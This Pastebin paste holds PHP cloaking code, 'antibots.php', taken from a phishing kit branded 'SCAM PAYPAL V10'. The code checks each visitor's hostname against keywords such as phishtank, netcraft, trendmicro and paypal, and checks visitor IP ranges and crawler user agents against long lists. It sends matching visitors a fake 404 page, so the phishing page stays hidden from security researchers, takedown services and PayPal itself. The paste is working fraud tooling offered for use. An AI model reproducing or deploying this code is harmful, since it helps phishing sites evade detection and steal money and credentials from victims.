Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
- $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "msnbot","p3pwgdsn","netcraft","trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "megaindex");
- foreach($blocked_words as $word) {
- if (substr_count($hostname, $word) > 0) {
- header("HTTP/1.0 404 Not Found");
- die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
- }
- }
- $bannedIP = array("^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*", "^199.30.228.*", "^148.251.74.*", "^148.251.236.167");
- if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
- header('HTTP/1.0 404 Not Found');
- exit();
- } else {
- foreach($bannedIP as $ip) {
- if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
- header('HTTP/1.0 404 Not Found');
- die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
- }
- }
- }
- ?>
- antibots.php
- <?
- /*
- _____ _ _ ______ __ __ ___
- / ____| | | | | |___ / /_ | /_ | / _ \
- | (___ | |__ __ _ __| | ___ __ __ / / | | | | | (_) |
- \___ \ | '_ \ / _` | / _` | / _ \ \ \ /\ / / / / - | | - | | - > _ <
- ____) | | | | | | (_| | | (_| | | (_) | \ V V / / /__ - | | - | | - | (_) |
- |_____/ |_| |_| \__,_| \__,_| \___/ \_/\_/ /_____| |_| |_| \___/
- #=======================#
- # SCAM PAYPAL V10 #
- # SHADOW Z118 #
- #=======================#
- $$$$$$$\ $$$$$$$\ $$\
- $$ __$$\ $$ __$$\ $$ |
- $$ | $$ |$$$$$$\ $$\ $$\ $$ | $$ |$$$$$$\ $$ |
- $$$$$$$ |\____$$\ $$ | $$ |$$$$$$$ |\____$$\ $$ |
- $$ ____/ $$$$$$$ |$$ | $$ |$$ ____/ $$$$$$$ |$$ |
- $$ | $$ __$$ |$$ | $$ |$$ | $$ __$$ |$$ |
- $$ | \$$$$$$$ |\$$$$$$$ |$$ | \$$$$$$$ |$$ |
- \__| \_______| \____$$ |\__| \_______|\__|
- $$\ $$ |
- \$$$$$$ |
- \______/
- */
- $bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*",
- "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*",
- "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*",
- "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*",
- "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*",
- "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*",
- "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*",
- "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*",
- "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*",
- "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*",
- "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*",
- "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*",
- "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*",
- "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*",
- "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*",
- "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*",
- "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*",
- "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*",
- "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*",
- "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
- if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
- // this is for exact matches of IP address in array
- header('HTTP/1.0 404 Not Found');
- exit();
- } else {
- // this is for wild card matches
- foreach($bannedIP as $ip) {
- if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
- header('HTTP/1.0 404 Not Found');
- echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
- }
- }
- }
- $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
- $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
- foreach($blocked_words as $word) {
- if (substr_count($hostname, $word) > 0) {
- header("HTTP/1.0 404 Not Found");
- echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
- }
- }
- // This Willl Block New ips that send lot of hits (Bots)
- $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
- $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",);
- foreach($blocked_words as $word) {
- if (substr_count($hostname, $word) > 0) {
- header("HTTP/1.0 404 Not Found");
- echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
- }
- }
- if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
- $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
- foreach($userAgents as $agent)
- if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }}
- $bannedIP = array("^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*");
- if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
- header('HTTP/1.0 404 Not Found');
- exit();
- } else {
- foreach($bannedIP as $ip) {
- if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
- header('HTTP/1.0 404 Not Found');
- echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement